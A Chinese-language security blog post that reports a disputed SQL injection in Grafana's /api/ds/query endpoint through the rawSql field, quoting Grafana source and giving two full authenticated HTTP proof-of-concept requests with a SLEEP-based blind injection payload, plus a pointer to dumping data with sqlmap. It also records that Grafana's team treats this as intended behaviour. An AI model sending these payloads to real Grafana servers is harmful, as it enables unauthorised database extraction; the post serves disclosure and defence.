开源软件Grafana平台SQL注入高危漏洞

开源软件grafana存在注入漏洞,攻击者可以使用post请求到/api/ds/query api,然后他们可以修改“rawSql”文件来执行恶意sql字符串,导致基于时间的盲sql注入漏洞,存在数据库泄露威胁。

漏洞描述

用于监控和可观察的开源平台要利用此sql注入漏洞,必须使用有效帐户登录grafana Web后端,然后向/api/ds/query“rawSql”条目发送恶意POST请求。
如果攻击者登录grafana web后端,他们可以使用post请求到/api/ds/query api,然后他们可以修改“rawSql”文件来执行恶意sql字符串,导致基于时间的盲sql注入漏洞,然后泄漏来自数据库的数据。

风险等级

高的

影响版本

grafana最新和所有旧版本

漏洞分析

受影响的代码块和函数

开源软件Grafana平台SQL注入高危漏洞

  1. grafana grafana-sql package in grafana/packages/grafana-sql/src/datasource/SqlDatasource.ts file

// NOTE: this always runs with the `@grafana/data/getDefaultTimeRange` time range
async runSql(query: string, options?: RunSQLOptions) {
const range = getDefaultTimeRange();
const frame = await this.runMetaQuery({ rawSql: query, format: QueryFormat.Table, refId: options?.refId }, range);
return new DataFrameView(frame);
}

private runMetaQuery(request: Partial, range: TimeRange): Promise {
const refId = request.refId || ‘meta’;
const queries: DataQuery[] = [{ …request, datasource: request.datasource || this.getRef(), refId }];

return lastValueFrom(
getBackendSrv()
.fetch({
url: ‘/api/ds/query’,
method: ‘POST’,
headers: this.getRequestHeaders(),
data: {
from: range.from.valueOf().toString(),
to: range.to.valueOf().toString(),
queries,
},
requestId: refId,
})
.pipe(
map((res: FetchResponse) => {
const rsp = toDataQueryResponse(res, queries);
return rsp.data[0] ?? { fields: [] };
})
)
);
}

  1. grafana datasource plugin in grafana/public/app/plugins/datasource/influxdb/datasource.ts file

async metricFindQuery(query: string, options?: any): Promise {
if (
this.version === InfluxVersion.Flux ||
this.version === InfluxVersion.SQL ||
this.isMigrationToggleOnAndIsAccessProxy()
) {
const target: InfluxQuery & SQLQuery = {
refId: ‘metricFindQuery’,
query,
rawQuery: true,
…(this.version === InfluxVersion.SQL ? { rawSql: query, format: QueryFormat.Table } : {}),
};
return lastValueFrom(
super.query({
…(options ?? {}), // includes ‘range’
targets: [target],
})
).then(this.toMetricFindValue);
}

const interpolated = this.templateSrv.replace(
query,
options?.scopedVars,
(value: string | string[] = [], variable: QueryVariableModel) => this.interpolateQueryExpr(value, variable, query)
);

return lastValueFrom(this._seriesQuery(interpolated, options)).then((resp) => {
return this.responseParser.parse(query, resp);
});
}

……

return lastValueFrom(
getBackendSrv()
.fetch({
url: ‘/api/ds/query’,
method: ‘POST’,
headers: this.getRequestHeaders(),
data: {
from: options.range.from.valueOf().toString(),
to: options.range.to.valueOf().toString(),
queries: [target],
},
requestId: annotation.name,
})
.pipe(
map(
async (res: FetchResponse) =>
await this.responseParser.transformAnnotationResponse(annotation, res, target)
)
)
);

Grafana 不会验证发送到 DataSource 代理的任何查询

漏洞复现:

攻击者可以利用上述步骤进行sql注入,这是grafana发送sql语句查询导致bug。

grafana v8.0.4 poc:

POST /api/ds/query HTTP/1.1
Host: 172.16.32.57:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.16.32.57:3000/d/AEo5dM44k/pei-xun-xi-tong?orgId=1
content-type: application/json
x-grafana-org-id: 1
Content-Length: 142
Origin: http://172.16.32.57:3000
DNT: 1
Connection: close
Cookie: grafana_session=ede75844e20b0001a30e2c8522e5f1fc

{“queries”:[{“refId”:”A”,”format”:”time_series”,”datasourceId”:2,”rawSql”:”(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)”,”maxDataPoints”:10000}]}

开源软件Grafana平台SQL注入高危漏洞

登录后端点击“Explore”,然后使用burp捕获POST /api/ds/query 数据包,将“rawSql”条目修改为恶意sql字符串,然后我们就得到了基于时间的sql注入。

开源软件Grafana平台SQL注入高危漏洞

POST /api/ds/query HTTP/1.1
Host: 172.28.171.25:3000
User-Agent: qzd_security_test_user_agent
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://172.28.171.25:3000/explore
content-type: application/json
x-datasource-uid: edj6pz14v89a8c
x-grafana-device-id: 6eda885e8d5e5370781b533e605dd6fb
x-grafana-org-id: 1
x-plugin-id: mysql
Content-Length: 201
Origin: http://172.28.171.25:3000
DNT: 1
Connection: close
Cookie: grafana_session=dfa008ccdbe45635eed9592216f2f04a; grafana_session_expiry=1713514866

{“from”:”1713492692433″,”to”:”1713514292433″,”queries”:[{“rawSql”:”(SELECT 8424 FROM (SELECT(SLEEP(2)))MKRN)”,”format”:”table”,”refId”:”datasets”,”datasource”:{“type”:”mysql”,”uid”:”edj6pz14v89a8c”}}]}

开源软件Grafana平台SQL注入高危漏洞

现在可以使用sqlmap拖数据了

开源软件Grafana平台SQL注入高危漏洞

开源软件Grafana平台SQL注入高危漏洞

漏洞修复

Grafana 不会验证发送到 DataSource 代理的任何查询,过滤必须在数据源端完成。

grafana官方安全团队并不认为这是一个漏洞,它是后端的一个功能,它一定让我感到非常不安……

开源软件Grafana平台SQL注入高危漏洞

但我认为不是,所以我发表了这篇文章:)

开源软件Grafana平台SQL注入高危漏洞 开源软件Grafana平台SQL注入高危漏洞

参考资源

https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code

https://github.com/search?q=repo:grafana/grafana%20/api/ds/query%20%20rawSql&type=code
https://grafana.com/docs/grafana/latest/setup-grafana/configure-security/#limit-viewer-query-permissions

原创文章,作者:xbear,如若转载,请注明出处:https://www.cncso.com/tw/grafana-sql-injection-high-risk-vuln.html

讚! (0)
以前的 2024年3月18日 上午8:20
下一個 2024年4月24日 上午8:48

發佈留言

登入後發表評論